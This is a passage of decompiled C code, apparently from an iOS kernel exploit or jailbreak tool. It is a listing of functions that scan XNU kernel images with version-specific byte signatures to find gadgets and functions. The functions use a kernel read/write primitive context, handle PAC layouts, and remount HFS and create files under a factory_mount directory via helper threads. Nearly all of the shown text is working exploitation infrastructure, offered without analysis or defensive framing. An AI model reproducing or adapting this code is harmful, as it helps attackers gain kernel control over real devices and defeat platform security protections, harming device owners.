    return find_pattern_kernel_section(v10, v9, *(unsigned __int8 *)(a1 + 52));
  }
  return result;
}

//----- (000000000001E45C) ----------------------------------------------------
char *__fastcall find_kernel_gadget(__int64 a1)
{
  char *result; // x0
  unsigned __int64 v3; // x8
  unsigned int v4; // w20
  const char *v5; // x9
  const char *v6; // x10
  char *v7; // x1
  __int64 v8; // x8
  uint64_t v9[3]; // [xsp+8h] [xbp-58h] BYREF
  uint64_t v10[3]; // [xsp+20h] [xbp-40h] BYREF
  uint64_t v11[3]; // [xsp+38h] [xbp-28h] BYREF

  if ( krw_ctx_has_flag(*(struct_krwCtx **)(a1 + 280), KRW_CTX_FLAG_CPU_HIGH_CORE_CLUSTER) )
  {
    macho_find_text_section(a1, v11);
    result = (char *)kernel_pattern_scan((__int64)v11, "08 FD 64 D3 1F 21 00 F1 .. 00 00 54", 0);
    if ( !result )
      return result;
    v3 = (unsigned __int64)(result + 12);
    return find_kernel_func_by_branch((__int64 *)a1, (__int64 *)(v3 & 0xFFFFFFFFFFFFFFFCLL), 1);
  }
  if ( *(uint64_t *)(a1 + 136) >= XNU_VERSION_PACKED(8792, 80, 25, 0, 0) && !krw_ctx_has_flag(*(struct_krwCtx **)(a1 + 280), KRW_CTX_FLAG_CPU_A9) )
  {
    macho_find_text_section(a1, v10);
    result = (char *)kernel_pattern_scan((__int64)v10, ".. FD .. D3 .. 00 00 B5", 0);
    if ( !result )
      return result;
    v3 = (unsigned __int64)(result + 8);
    return find_kernel_func_by_branch((__int64 *)a1, (__int64 *)(v3 & 0xFFFFFFFFFFFFFFFCLL), 1);
  }
  v4 = get_sptm_version_index(a1);
  macho_find_text_section(a1, v9);
  v5 = "6B FD 62 D3 7F 19 00 F1 .. .. .. 54";
  v6 = ".. 01 .. 8B 88 D0 38 D5 E8 00 00 B5";
  if ( v4 != 1 )
    v6 = 0;
  if ( v4 <= 1 )
    v5 = v6;
  if ( v4 <= 4 )
    v7 = (char *)v5;
  else
    v7 = ".. FD .. D3 .. .. 00 F1 .. .. .. 54";
  result = (char *)kernel_pattern_scan((__int64)v9, v7, 0);
  v8 = 12;
  if ( v4 <= 1 )
    v8 = -8;
  if ( result )
  {
    v3 = (unsigned __int64)&result[v8];
    return find_kernel_func_by_branch((__int64 *)a1, (__int64 *)(v3 & 0xFFFFFFFFFFFFFFFCLL), 1);
  }
  return result;
}

//----- (000000000001E598) ----------------------------------------------------
__int64 __fastcall get_sptm_version_index(__int64 a1)
{
  int v1; // w8

  v1 = *(uint32_t *)(a1 + 112);
  if ( v1 > 8791 )
  {
    if ( v1 == 8792 || v1 == 8796 )
      return 5LL;
    if ( v1 == 10002 )
      return 6LL;
  }
  else
  {
    if ( (unsigned int)(v1 - 8019) < 2 )
      return 4LL;
    if ( v1 == 6153 )
      return 2LL;
    if ( v1 == 7195 )
      return 3LL;
  }
  return 0LL;
}

//----- (000000000001E620) ----------------------------------------------------
unsigned __int64 __fastcall find_kernel_func_aligned(__int64 *a1, __int64 a2)
{
  return (unsigned __int64)find_kernel_func_by_branch(a1, (__int64 *)(a2 & 0xFFFFFFFFFFFFFFFCLL), 1);
}

//----- (000000000001E62C) ----------------------------------------------------
__int64 __fastcall find_kernel_func_by_scan(__int64 *a1)
{
  unsigned int v2; // w20
  bool v3; // zf
  unsigned __int64 v4; // x0
  unsigned __int64 v5; // x8
  const char *v6; // x8
  char *v7; // x1
  __int64 result; // x0
  __int128 v9; // [xsp+0h] [xbp-60h] BYREF
  __int64 v10; // [xsp+10h] [xbp-50h]
  __int64 v11; // [xsp+20h] [xbp-40h] BYREF
  __int64 v12; // [xsp+28h] [xbp-38h]
  __int64 v13; // [xsp+30h] [xbp-30h]
  __int128 v14; // [xsp+38h] [xbp-28h] BYREF
  __int64 v15; // [xsp+48h] [xbp-18h]

  v2 = get_sptm_version_index((__int64)a1);
  macho_find_text_section((__int64)a1, &v14);
  macho_getsectbyname("__DATA_CONST", (__int64)a1, "__mod_init_func", &v11);
  if ( v12 )
    v3 = v13 == 0;
  else
    v3 = 1;
  if ( !v3 )
  {
    v4 = macho_read_u64_thunk(a1, v12);
    if ( v4 )
    {
      v5 = *((uint64_t *)&v14 + 1) - v4;
      if ( *((uint64_t *)&v14 + 1) < v4 && v4 < v15 + *((uint64_t *)&v14 + 1) )
      {
        *((uint64_t *)&v14 + 1) = v4;
        v15 += v5;
      }
    }
  }
  v6 = "68 72 40 B9 08 01 19 32 68 72 00 B9";
  if ( v2 != 1 )
    v6 = 0;
  if ( v2 <= 1 )
    v7 = (char *)v6;
  else
    v7 = "68 82 40 B9 08 01 19 32 68 82 00 B9";
  v9 = v14;
  v10 = v15;
  result = kernel_pattern_scan((__int64)&v9, v7, 0);
  if ( result )
  {
    result = (__int64)find_kernel_func_by_branch(a1, (__int64 *)((result + 12) & 0xFFFFFFFFFFFFFFFCLL), 1);
    if ( result )
      return macho_read_u64_thunk(a1, result);
  }
  return result;
}
// 19B94: using guessed type __int64 __fastcall macho_read_u64_thunk(uint64_t, uint64_t);

//----- (000000000001E728) ----------------------------------------------------
char *__fastcall find_kernel_branch_target(__int64 *a1)
{
  char *result; // x0
  char *v3; // x20
  unsigned __int64 v4; // x21
  uint64_t v5[3]; // [xsp+8h] [xbp-48h] BYREF

  macho_find_text_section((__int64)a1, v5);
  result = (char *)kernel_pattern_scan((__int64)v5, "E0 03 15 AA .. .. .. .. FE 03 13 AA", 0);
  if ( result )
  {
    result = resolve_branch_target(a1, (__int64 *)(result + 4));
    if ( result )
    {
      v3 = result;
      v4 = -4;
      while ( ((unsigned int)macho_read_u32(a1, (__int64 *)&v3[v4 + 4]) & 0x9F000000) != 0x90000000
           || (unsigned int)macho_read_u32(a1, (__int64 *)&v3[v4 + 12]) >> 21 != 1112 )
      {
        v4 += 4LL;
        if ( v4 >= 0xFC )
          return 0;
      }
      return find_kernel_func_by_branch(a1, (__int64 *)&v3[v4 + 4], 1);
    }
  }
  return result;
}

//----- (000000000001E800) ----------------------------------------------------
char *__fastcall resolve_branch_target(__int64 *a1, __int64 *a2)
{
  unsigned int insn; // w0
  __int64 imm26; // x8

  insn = (unsigned int)macho_read_u32(a1, a2);
  if ( (insn & 0x7C000000) != 0x14000000 )
    return 0;
  imm26 = insn & 0x1FFFFFF;
  if ( (insn & 0x2000000) != 0 )
    imm26 |= 0xFFFFFFFFFE000000LL;
  if ( !imm26 )
    return 0;
  return (char *)a2 + 4 * imm26;
}

//----- (000000000001E854) ----------------------------------------------------
unsigned __int64 __fastcall find_kernel_func(__int64 *a1, __int64 *a2)
{
  return (unsigned __int64)find_kernel_func_by_branch(a1, a2, 1);
}

//----- (000000000001E85C) ----------------------------------------------------
unsigned __int64 __fastcall find_kernel_func_versioned(__int64 *a1, int *a2)
{
  __int64 v4; // x20
  __int64 v5; // x0
  unsigned __int64 v6; // x0
  unsigned __int64 v7; // x22
  __int64 v8; // x23
  unsigned __int64 v9; // x21
  int v10; // w8
  unsigned int v12; // [xsp+0h] [xbp-60h] BYREF
  unsigned __int64 scan_range[3]; // [xsp+8h] [xbp-58h] BYREF
  unsigned __int64 text_range[3]; // [xsp+20h] [xbp-40h] BYREF

  v4 = a1[35];
  if ( krw_ctx_has_flag((struct_krwCtx *)v4, KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) )
  {
    macho_find_text_section(*(uint64_t *)(v4 + 6648), text_range);
    scan_range[0] = text_range[0];
    scan_range[1] = text_range[1] + text_range[2] - 0x20000;
    scan_range[2] = 0x20000;
    v5 = kernel_pattern_scan((__int64)scan_range, "2B 09 40 B9 4B 39 0B 8B", 0);
    if ( v5 )
    {
      v6 = (unsigned __int64)find_kernel_func_by_branch(a1, (__int64 *)(v5 - 40), 1);
      if ( v6 )
      {
        v7 = v6;
        v8 = macho_read_u64_thunk(a1, v6 - 8);
        if ( validate_kaddr_range(v4, v8) )
        {
          if ( kread_u32(v4, v8, &v12) && v12 - 1 <= 0x1F )
          {
            v9 = macho_read_u64_thunk(a1, v7);
            if ( validate_kaddr_range(v4, v9) )
            {
              v10 = v12;
LABEL_12:
              *a2 = v10;
              return v9;
            }
          }
        }
      }
    }
    return 0;
  }
  else
  {
    v9 = (unsigned __int64)find_kernel_branch_target(a1);
    if ( v9 )
    {
      v10 = 8;
      goto LABEL_12;
    }
  }
  return v9;
}
// 19B94: using guessed type __int64 __fastcall macho_read_u64_thunk(uint64_t, uint64_t);

//----- (000000000001E99C) ----------------------------------------------------
unsigned __int64 __fastcall find_kread_pattern_versioned(__int64 a1, unsigned __int64 *a2, unsigned __int64 *a3)
{
  int v6; // w22
  char *v7; // x1
  unsigned __int64 result; // x0
  unsigned __int64 v9; // x23
  unsigned __int64 v10; // x22
  uint64_t v11[3]; // [xsp+8h] [xbp-48h] BYREF

  v6 = get_sptm_version_index(a1);
  macho_find_text_section(a1, v11);
  if ( v6 )
    v7 = "5F 00 00 71 20 01 00 54";
  else
    v7 = 0;
  result = kernel_pattern_scan((__int64)v11, v7, 0);
  if ( result )
  {
    v9 = result;
    result = (unsigned __int64)find_kernel_func_by_branch((__int64 *)a1, (__int64 *)(result + 8), 1);
    if ( result )
    {
      v10 = result;
      result = (unsigned __int64)find_kernel_func_by_branch((__int64 *)a1, (__int64 *)(v9 + 24), 1);
      if ( result )
      {
        result = kread_physmap_decorated(*(struct_krwCtx **)(a1 + 280), result, a2);
        if ( (uint32_t)result )
          return kread_physmap_decorated(*(struct_krwCtx **)(a1 + 280), v10, a3);
      }
    }
  }
  return result;
}

//----- (000000000001EA70) ----------------------------------------------------
__int64 __fastcall find_kernel_func_at_offset(__int64 a1, int a2)
{
  __int64 result; // x0
  __int64 v4; // x21
  __int64 *v5; // x19
  unsigned int v6; // w20
  const char *v7; // x8
  char *v8; // x1
  uint64_t v9[3]; // [xsp+8h] [xbp-38h] BYREF

  if ( a2 > 0 )
    return 0;
  v4 = a1 + 8LL * a2;
  result = *(uint64_t *)(v4 + 6496);
  if ( !result )
  {
    if ( a2 )
      return 0;
    v5 = *(__int64 **)(a1 + 6648);
    v6 = get_sptm_version_index((__int64)v5);
    macho_find_text_section((__int64)v5, v9);
    v7 = "09 .. 00 F9 E1 03 00 32 00 00 80 52";
    if ( v6 != 1 )
      v7 = 0;
    if ( v6 <= 1 )
      v8 = (char *)v7;
    else
      v8 = "09 .. 00 F9 00 00 80 52 E1 03 00 32";
    result = kernel_pattern_scan((__int64)v9, v8, 0);
    if ( result )
    {
      result = (__int64)resolve_branch_target(v5, (__int64 *)(result + 12));
      if ( result )
        *(uint64_t *)(v4 + 6496) = result;
    }
  }
  return result;
}

//----- (000000000001EB2C) ----------------------------------------------------
char *__fastcall find_kernel_func_by_branch(__int64 *a1, __int64 *a2, int a3)
{
  char *v3; // x21
  unsigned int v7; // w0
  unsigned int v8; // w0
  __int64 v9; // x9
  unsigned __int64 v10; // x9
  char *v11; // x9
  unsigned int v13; // w23
  __int64 v14; // x8
  char v15; // w25
  int v16; // w23
  __int64 *v17; // x24
  __int64 *v18; // x22
  unsigned int v19; // w0
  __int64 v20; // x8
  bool v21; // cf
  unsigned __int64 v22; // x8

  if ( ((unsigned __int8)a2 & 3) != 0 )
    return 0;
  v7 = (unsigned int)macho_read_u32(a1, a2);
  if ( v7 == -721215457 )
  {
    v8 = (unsigned int)macho_read_u32(a1, (__int64 *)((char *)a2 + 4));
    v9 = (v8 >> 5) & 0x7FFFF;
    if ( ((v8 >> 5) & 0x40000LL) != 0 )
      v10 = (4 * v9) | 0xFFFFFFFFFFF00000LL;
    else
      v10 = 4 * v9;
    v11 = (char *)a2 + v10 + 4;
    if ( HIBYTE(v8) == 88 )
      return v11;
    else
      return 0;
  }
  v13 = v7;
  if ( (v7 & 0x9F000000) == 0x90000000 )
  {
    v3 = (char *)(((unsigned __int64)a2 & 0xFFFFFFFFFFFFF000LL) + (int)((v7 >> 17) & 0x3000 | (v7 >> 5 << 14)));
  }
  else
  {
    if ( (v7 & 0x9F000000) != 0x10000000 || (unsigned int)macho_read_u32(a1, (__int64 *)((char *)a2 + 4)) != -721215457 )
      return 0;
    v14 = (v13 >> 3) & 0x1FFFFC | (v13 >> 29) & 3;
    if ( (v14 & 0x100000) != 0 )
      v14 |= 0xFFFFFFFFFFE00000LL;
    v3 = (char *)a2 + v14;
  }
  v15 = 0;
  v16 = v13 & 0x1F;
  v17 = a2 + 4;
  v18 = (__int64 *)((char *)a2 + 4);
  while ( 1 )
  {
    v19 = (unsigned int)macho_read_u32(a1, v18);
    if ( (v19 & 0x7F000000) == 0x11000000 && (v15 & 1) == 0 )
    {
      if ( ((v19 >> 5) & 0x1F) == v16 )
      {
        v20 = (v19 >> 10) & 0xFFF;
        if ( (v19 & 0xC00000) != 0 )
          v20 <<= 12;
        v3 += v20;
        if ( !a3 || v16 != (v19 & 0x1F) )
          return v3;
        v15 = 1;
      }
      else
      {
        v15 = 0;
      }
    }
    if ( (v19 & 0xBFC00000) == 0xB9400000 && ((v19 >> 5) & 0x1F) == v16 )
    {
      v22 = (unsigned __int64)((v19 >> 10) & 0xFFF) << (v19 >> 30);
      goto LABEL_40;
    }
    if ( (v19 & 0xFFC00000) == 0xB9800000 )
      break;
    if ( (v19 & 0xFFC00000) == 0x39400000 && ((v19 >> 5) & 0x1F) == v16 )
    {
      v22 = (v19 >> 10) & 0xFFF;
      goto LABEL_40;
    }
LABEL_35:
    if ( v19 != -698416192 )
    {
      v21 = v17 >= v18;
      v18 = (__int64 *)((char *)v18 + 4);
      if ( v21 )
        continue;
    }
    return v3;
  }
  if ( ((v19 >> 5) & 0x1F) != v16 )
    goto LABEL_35;
  v22 = (v19 >> 8) & 0x3FFC;
LABEL_40:
  v3 += v22;
  return v3;
}

//----- (000000000001ED50) ----------------------------------------------------
__int64 __fastcall get_kernel_version_string_0(char *a1, size_t a2)
{
  host_t v4; // w0
  kern_return_t v5; // w0
  int v7; // w19
  int v8; // w8
  int v9[2]; // [xsp+8h] [xbp-238h] BYREF
  size_t v10; // [xsp+10h] [xbp-230h] BYREF
  kernel_version_t kernel_version; // [xsp+18h] [xbp-228h] BYREF

  if ( dyldVersionNumber < 800.0 )
  {
    v4 = mach_host_self();
    v5 = host_kernel_version(v4, kernel_version);
    if ( v5 )
      return v5 | 0x80000000;
    goto LABEL_8;
  }
  *(uint64_t *)v9 = 0x400000001LL;
  v10 = 512;
  if ( !sysctl(v9, 2u, kernel_version, &v10, 0, 0) )
  {
LABEL_8:
    if ( strlen(kernel_version) + 1 > a2 )
      return 708620;
    strlcpy(a1, kernel_version, a2);
    return 0;
  }
  v7 = errno;
  v8 = errno;
  if ( v7 < 0 )
    v8 = -v8;
  return v8 | 0x40000000u;
}

//----- (000000000001EE6C) ----------------------------------------------------
int __fastcall kernel_version_parse(struct_xnuMajorVersion *xnuMajorVersion, int *a2, int *a3)
{
  int result; // w0
  char *v7; // x0
  int v8; // w0
  size_t v9; // x0
  char *v10; // x0
  __int32 v11[8]; // [xsp+40h] [xbp-250h]
  unsigned __int64 v12; // [xsp+58h] [xbp-238h]
  char str[512]; // [xsp+58h] [xbp-238h] BYREF

  result = 0;
  memset(v11, 0, sizeof(v11));
  v12 = 0;
  if ( dyldVersionNumber >= 1000.0 )
  {
    __strlcpy_chk(str, ___kernelVersionString, 0x200u, 0x200u);
    v9 = strlen(str);
    if ( v9 )
    {
      if ( str[v9 - 1] == 10 )
        str[v9 - 1] = 0;
      if ( madvise(0, 0, 10) )
      {
        if ( errno == 45 )
        {
          v10 = strstr(str, "Libsyscall-");
          if ( v10 )
          {
            v8 = sscanf(v10, "Libsyscall-%d.%d.%d.%d.%d%*s", &v11[0], &v11[1], &v11[2], &v11[3], &v11[4]);
LABEL_13:
            if ( v8 >= 3 )
            {
              *a2 = 1;
              *a3 = 1;
              v11[5] = (v11[0] << 18) | ((v11[1] & 0x1FF) << 9) | (v11[2] & 0x1FF);
              *(uint64_t *)&v11[6] = ((((unsigned __int64)(v11[0] & 0x7FFF) << 20)
                                    | ((unsigned __int64)(v11[1] & 0x3FF) << 10)
                                    | (unsigned int)(v11[2] & 0x3FF)) << 20)
                                  | (((unsigned __int64)(unsigned int)v11[3] << 10) & 0xFFC00)
                                  | (unsigned int)(v11[4] & 0x3FF);
              v12 = 1;
              xnuMajorVersion->qword20 = v12;
              xnuMajorVersion->majorVersion = *(__int128 *)v11;
              xnuMajorVersion->oword10 = *(__int128 *)&v11[4];
              result = 1;
            }
          }
        }
      }
    }
  }
  else if ( !(unsigned int)get_kernel_version_string_0(str, 0x200u) )
  {
    if ( strstr(str, "RELEASE") )
    {
      v7 = strstr(str, "xnu-");
      if ( v7 )
      {
        v8 = sscanf(v7, "xnu-%d.%d.%d.%d.%d%*s", &v11[0], &v11[1], &v11[2], &v11[3], &v11[4]);
        goto LABEL_13;
      }
    }
  }
  return result;
}

//----- (000000000001F07C) ----------------------------------------------------
__int64 __fastcall mach_vm_page_info_query_0(vm_map_read_t a1, mach_vm_address_t a2, uint64_t *a3)
{
  mach_msg_type_number_t infoCnt; // [xsp+Ch] [xbp-34h] BYREF
  int info; // [xsp+10h] [xbp-30h] BYREF
  __int64 v7; // [xsp+18h] [xbp-28h]
  __int64 v8; // [xsp+20h] [xbp-20h]

  infoCnt = 8;
  if ( mach_vm_page_info(a1, a2, 1, &info, &infoCnt) )
    return 0;
  if ( a3 )
    *a3 = v8;
  return v7;
}

//----- (000000000001F0D8) ----------------------------------------------------
__int64 number_of_cpus()
{
  return (unsigned __int8)((unsigned int)j___get_cpu_capabilities() >> 0x10);
}
// 4103C: using guessed type __int64 j___get_cpu_capabilities(void);

//----- (000000000001F0F4) ----------------------------------------------------
unsigned __int64 comm_page_memory_size()
{
  unsigned __int64 result; // x0

  result = comm_page64_base_address();
  if ( result )
    return *(uint64_t *)(result + COMM_PAGE_MEMORY_SIZE_OFFSET);
  return result;
}

//----- (000000000001F114) ----------------------------------------------------
__int64 sub_get_page_size()
{
  host_t v0; // w0
  vm_size_t v2; // [xsp+8h] [xbp-8h] BYREF

  v0 = mach_host_self();
  if ( host_page_size(v0, &v2) )
    return 0;
  else
    return (unsigned int)v2;
}

//----- (000000000001F148) ----------------------------------------------------
__int64 __fastcall get_task_vm_info_1(task_name_t a1)
{
  mach_msg_type_number_t task_info_outCnt; // [xsp+4h] [xbp-17Ch] BYREF
  integer_t task_info_out[90]; // [xsp+8h] [xbp-178h] BYREF

  task_info_outCnt = 36;
  if ( task_info(a1, 0x16u, task_info_out, &task_info_outCnt) )
    return 0;
  else
    return (unsigned int)task_info_out[3];
}

//----- (000000000001F190) ----------------------------------------------------
__int64 get_page_size()
{
  int v0; // w8
  unsigned int StatusReg; // w9

  if ( dyldVersionNumber >= 900.0 )
  {
    v0 = 4095;
    StatusReg = _ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2));
  }
  else
  {
    v0 = 7;
    StatusReg = _ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 3));
  }
  return v0 & StatusReg;
}

//----- (000000000001F1C8) ----------------------------------------------------
__int64 __fastcall get_task_memory_info(task_name_t a1, uint64_t *a2, uint64_t *a3)
{
  __int64 result; // x0
  __int64 v6; // x8
  mach_msg_type_number_t task_info_outCnt; // [xsp+4h] [xbp-18Ch] BYREF
  integer_t task_info_out[38]; // [xsp+8h] [xbp-188h] BYREF
  __int64 v9; // [xsp+A0h] [xbp-F0h]
  __int64 v10; // [xsp+A8h] [xbp-E8h]

  task_info_outCnt = 42;
  result = task_info(a1, 0x16u, task_info_out, &task_info_outCnt);
  if ( !(uint32_t)result )
  {
    if ( task_info_outCnt == 42 )
    {
      result = 0;
      v6 = v10;
      *a2 = v9;
      *a3 = v6;
    }
    else
    {
      return 4;
    }
  }
  return result;
}

//----- (000000000001F240) ----------------------------------------------------
unsigned __int64 __fastcall comm_page_get_cpu_family(uint32_t *cpuFamily)
{
  unsigned __int64 result; // x0

  result = comm_page64_base_address();
  if ( result )
  {
    *cpuFamily = *(uint32_t *)(result + COMM_PAGE_CPUFAMILY_OFFSET);
    return 1;
  }
  return result;
}

//----- (000000000001F274) ----------------------------------------------------
__int64 __fastcall alloc_buf_with_magic(unsigned int a1, uint64_t *a2)
{
  __int64 v2; // x19
  uint32_t *v5; // x0
  uint32_t *v6; // x22
  uint32_t *v7; // x0

  v2 = 708617;
  if ( a1 < 4 )
    return 708609;
  v5 = calloc(0x10u, 1u);
  if ( v5 )
  {
    v6 = v5;
    v7 = calloc(a1, 1u);
    *(uint64_t *)v6 = v7;
    if ( v7 )
    {
      v2 = 0;
      *v7 = 211;
      v6[2] = 4;
      v6[3] = a1;
      *a2 = v6;
    }
    else
    {
      free(v6);
    }
  }
  return v2;
}

//----- (000000000001F308) ----------------------------------------------------
__int64 __fastcall parse_load_command_entry(__int64 *a1, int a2, size_t __n, uint64_t *__src)
{
  __int64 result; // x0
  unsigned int v6; // w9
  unsigned int v7; // w9
  __int64 v8; // x10
  __int64 v9; // x9
  unsigned int v10; // w10
  unsigned int v11; // w8
  int v12; // w20

  result = 708609;
  if ( !BYTE3(__n) )
  {
    v6 = ((a2 & 0x7F000000u) - 0x1000000) >> 24;
    if ( v6 <= 0xB )
    {
      if ( ((1 << v6) & 0xC07) != 0 )
      {
        v7 = 4;
      }
      else if ( ((1 << v6) & 0x380) != 0 )
      {
        v7 = (__n + 7) & 0xFFFFFFFC;
      }
      else
      {
        if ( v6 != 3 )
          return result;
        v7 = 12;
      }
      v8 = *((unsigned int *)a1 + 2);
      if ( v7 > *((uint32_t *)a1 + 3) - (int)v8 )
        return 708620;
      v9 = *a1;
      *(uint32_t *)(*a1 + v8) = __n | a2;
      v10 = *((uint32_t *)a1 + 2) + 4;
      *((uint32_t *)a1 + 2) = v10;
      v11 = ((a2 & 0x7F000000u) - 0x4000000) >> 24;
      if ( v11 - 4 < 3 )
      {
        v12 = (__n + 3) & 0xFFFFFFFC;
        memcpy((void *)(v9 + v10), __src, (unsigned int)__n);
LABEL_15:
        result = 0;
        *((uint32_t *)a1 + 2) += v12;
        return result;
      }
      if ( !v11 )
      {
        *(uint64_t *)(v9 + v10) = *__src;
        v12 = 8;
        goto LABEL_15;
      }
      return 0;
    }
  }
  return result;
}

//----- (000000000001F418) ----------------------------------------------------
__int64 __fastcall copy_buf_struct_to_heap(__int64 a1, uint64_t *a2, uint32_t *a3)
{
  __int64 v3; // x19
  size_t v5; // x22
  void *v8; // x0

  v3 = 708609;
  if ( *(uint64_t *)a1 )
  {
    v5 = *(unsigned int *)(a1 + 8);
    if ( (uint32_t)v5 )
    {
      if ( *(uint32_t *)(a1 + 12) )
      {
        v8 = malloc(*(unsigned int *)(a1 + 8));
        *a2 = v8;
        if ( v8 )
        {
          memcpy(v8, *(const void **)a1, v5);
          v3 = 0;
          *a3 = *(uint32_t *)(a1 + 8);
        }
        else
        {
          return 708617;
        }
      }
    }
  }
  return v3;
}

//----- (000000000001F4A4) ----------------------------------------------------
__int64 __fastcall free_and_null_ptr(void **a1)
{
  void *v2; // x0

  v2 = *a1;
  if ( v2 )
    free(v2);
  *a1 = 0;
  a1[1] = 0;
  free(a1);
  return 0;
}

//----- (000000000001F4E0) ----------------------------------------------------
__int64 __fastcall fd_make_pipe(int a1[2])
{
  int v2; // w19
  int v3; // w8

  if ( pipe(a1) )
  {
    v2 = errno;
    v3 = errno;
    if ( v2 < 0 )
      v3 = -v3;
    return v3 | 0x40000000u;
  }
  else if ( *a1 == -1 || a1[1] == -1 )
  {
    return 163882;
  }
  else
  {
    return 0;
  }
}

//----- (000000000001F550) ----------------------------------------------------
__int64 __fastcall fd_read_test(int *fd)
{
  int v3; // w19
  int v4; // w8
  uint8_t outBuf[256]; // [xsp+8h] [xbp-118h] BYREF

  while ( read(*fd, outBuf, 0x100u) > 0 )
    ;
  if ( errno == 35 )
    return 0;
  v3 = errno;
  v4 = errno;
  if ( v3 < 0 )
    v4 = -v4;
  return v4 | 0x40000000u;
}

//----- (000000000001F5F0) ----------------------------------------------------
__int64 __fastcall setup_two_fds(int *a1)
{
  __int64 result; // x0
  int fd; // w0
  __int64 vars8; // [xsp+18h] [xbp+8h]

  result = setup_fd(*a1);
  if ( !(uint32_t)result )
  {
    fd = a1[1];
    return setup_fd(fd);
  }
  return result;
}
// 1F62C: variable 'vars8' is possibly undefined

//----- (000000000001F63C) ----------------------------------------------------
__int64 __fastcall setup_fd(int a1)
{
  int v2; // w0
  int v3; // w0
  int v5; // w19
  int v6; // w8

  if ( a1 == -1 )
    return 0xAD001;
  if ( fcntl(a1, 73, 1) != -1 )
  {
    v2 = fcntl(a1, 1);
    if ( v2 != -1 && fcntl(a1, 2, v2 | 1u) != -1 )
    {
      v3 = fcntl(a1, 3);
      if ( v3 != -1 && fcntl(a1, 4, v3 | 4u) != -1 )
        return 0;
    }
  }
  v5 = errno;
  v6 = errno;
  if ( v5 < 0 )
    v6 = -v6;
  return v6 | 0x40000000u;
}

//----- (000000000001F714) ----------------------------------------------------
__int64 __fastcall fd_write(__int64 a1, const void *a2, size_t a3)
{
  ssize_t v4; // x0
  int v6; // w19
  int v7; // w8

  v4 = write(*(uint32_t *)(a1 + 4), a2, a3);
  if ( v4 < 0 )
  {
    v6 = errno;
    v7 = errno;
    if ( v6 < 0 )
      v7 = -v7;
    return v7 | 0x40000000u;
  }
  else if ( v4 == a3 )
  {
    return 0;
  }
  else
  {
    return 163898;
  }
}

//----- (000000000001F770) ----------------------------------------------------
__int64 __fastcall fd_read(int *a1, void *a2, size_t a3)
{
  ssize_t v4; // x0
  int v6; // w19
  int v7; // w8

  v4 = read(*a1, a2, a3);
  if ( v4 < 0 )
  {
    v6 = errno;
    v7 = errno;
    if ( v6 < 0 )
      v7 = -v7;
    return v7 | 0x40000000u;
  }
  else if ( v4 == a3 )
  {
    return 0;
  }
  else
  {
    return 163899;
  }
}

//----- (000000000001F7CC) ----------------------------------------------------
int *__fastcall sptm_ulock_write_trampoline(__int64 a1)
{
  int *result; // x0
  int v3; // w20
  int v4; // w8
  int v5; // w8

  result = (int *)remount_hfs(*(uint64_t *)(a1 + 8), *(const char **)a1, 0);
  if ( (uint32_t)result )
  {
    v3 = errno;
    result = __error();
    v4 = *result;
    if ( v3 < 0 )
      v4 = -v4;
    v5 = v4 | 0x40000000;
  }
  else
  {
    v5 = 0;
  }
  *(uint32_t *)(a1 + 16) = v5;
  return result;
}

//----- (000000000001F828) ----------------------------------------------------
int *__fastcall mkdir_factory_mount(int *a1)
{
  int *result; // x0
  int v3; // w8
  int v4; // w20
  int v5; // w8

  result = (int *)mkdir("/private/var/factory_mount", 0x1FFu);
  if ( (uint32_t)result && (result = __error(), *result != 17) )
  {
    v4 = errno;
    result = __error();
    v5 = *result;
    if ( v4 < 0 )
      v5 = -v5;
    v3 = v5 | 0x40000000;
  }
  else
  {
    v3 = 0;
  }
  *a1 = v3;
  return result;
}

//----- (000000000001F894) ----------------------------------------------------
int *__fastcall mmap_with_ctx_params(__int64 a1)
{
  int *result; // x0
  int v3; // w8
  int v4; // w20
  int v5; // w8

  result = (int *)mmap(
                    *(void **)(a1 + 8),
                    *(uint64_t *)(a1 + 16),
                    *(uint32_t *)(a1 + 24),
                    18,
                    *(uint32_t *)a1,
                    *(uint64_t *)(a1 + 32));
  if ( result == (int *)-1LL )
  {
    v4 = errno;
    result = __error();
    v5 = *result;
    if ( v4 < 0 )
      v5 = -v5;
    v3 = v5 | 0x40000000;
  }
  else
  {
    v3 = 0;
  }
  *(uint32_t *)(a1 + 40) = v3;
  return result;
}

//----- (000000000001F900) ----------------------------------------------------
__int64 __fastcall krw_dispatch_call_6args(__int64 a1, int a2, __int64 a3, __int64 a4, int a5, __int64 a6)
{
  int v7; // [xsp+0h] [xbp-30h] BYREF
  __int64 v8; // [xsp+8h] [xbp-28h]
  __int64 v9; // [xsp+10h] [xbp-20h]
  int v10; // [xsp+18h] [xbp-18h]
  __int64 v11; // [xsp+20h] [xbp-10h]
  unsigned int v12; // [xsp+28h] [xbp-8h]

  v7 = a2;
  v8 = a3;
  v9 = a4;
  v10 = a5;
  v11 = a6;
  v12 = 708609;
  if ( pthread_create_and_join(a1, (__int64)mmap_with_ctx_params, &v7) )
    return v12;
  else
    return 0x28003;
}

//----- (000000000001F964) ----------------------------------------------------
int *__fastcall unlink_and_close_fd(int *a1)
{
  int v2; // w20
  int *result; // x0
  int v4; // w20
  int v5; // w8
  int v6; // w8
  char v7[1025]; // [xsp+17h] [xbp-429h] BYREF

  v2 = *a1;
  bzero(v7, 0x401u);
  if ( fcntl(v2, 50, v7) || unlink(v7) || (result = (int *)close(v2), (uint32_t)result) )
  {
    v4 = errno;
    result = __error();
    v5 = *result;
    if ( v4 < 0 )
      v5 = -v5;
    v6 = v5 | 0x40000000;
  }
  else
  {
    v6 = 0;
  }
  a1[1] = v6;
  return result;
}

//----- (000000000001FA28) ----------------------------------------------------
__int64 __fastcall krw_dispatch_call_1arg(__int64 a1, int a2)
{
  int v3; // [xsp+8h] [xbp-8h] BYREF
  unsigned int v4; // [xsp+Ch] [xbp-4h]

  v3 = a2;
  v4 = 708609;
  if ( pthread_create_and_join(a1, (__int64)unlink_and_close_fd, &v3) )
    return v4;
  else
    return 163843;
}

//----- (000000000001FA7C) ----------------------------------------------------
__int64 __fastcall krw_dispatch_call_3args(__int64 a1, __int64 a2, int a3, __int64 a4)
{
  __int64 v5; // [xsp+0h] [xbp-20h] BYREF
  int v6; // [xsp+8h] [xbp-18h]
  __int64 v7; // [xsp+10h] [xbp-10h]
  unsigned int v8; // [xsp+18h] [xbp-8h]

  v5 = a2;
  v6 = a3;
  v7 = a4;
  v8 = 708609;
  if ( pthread_create_and_join(a1, (__int64)create_temp_file_in_factory_mount, &v5) )
    return v8;
  else
    return 163843;
}

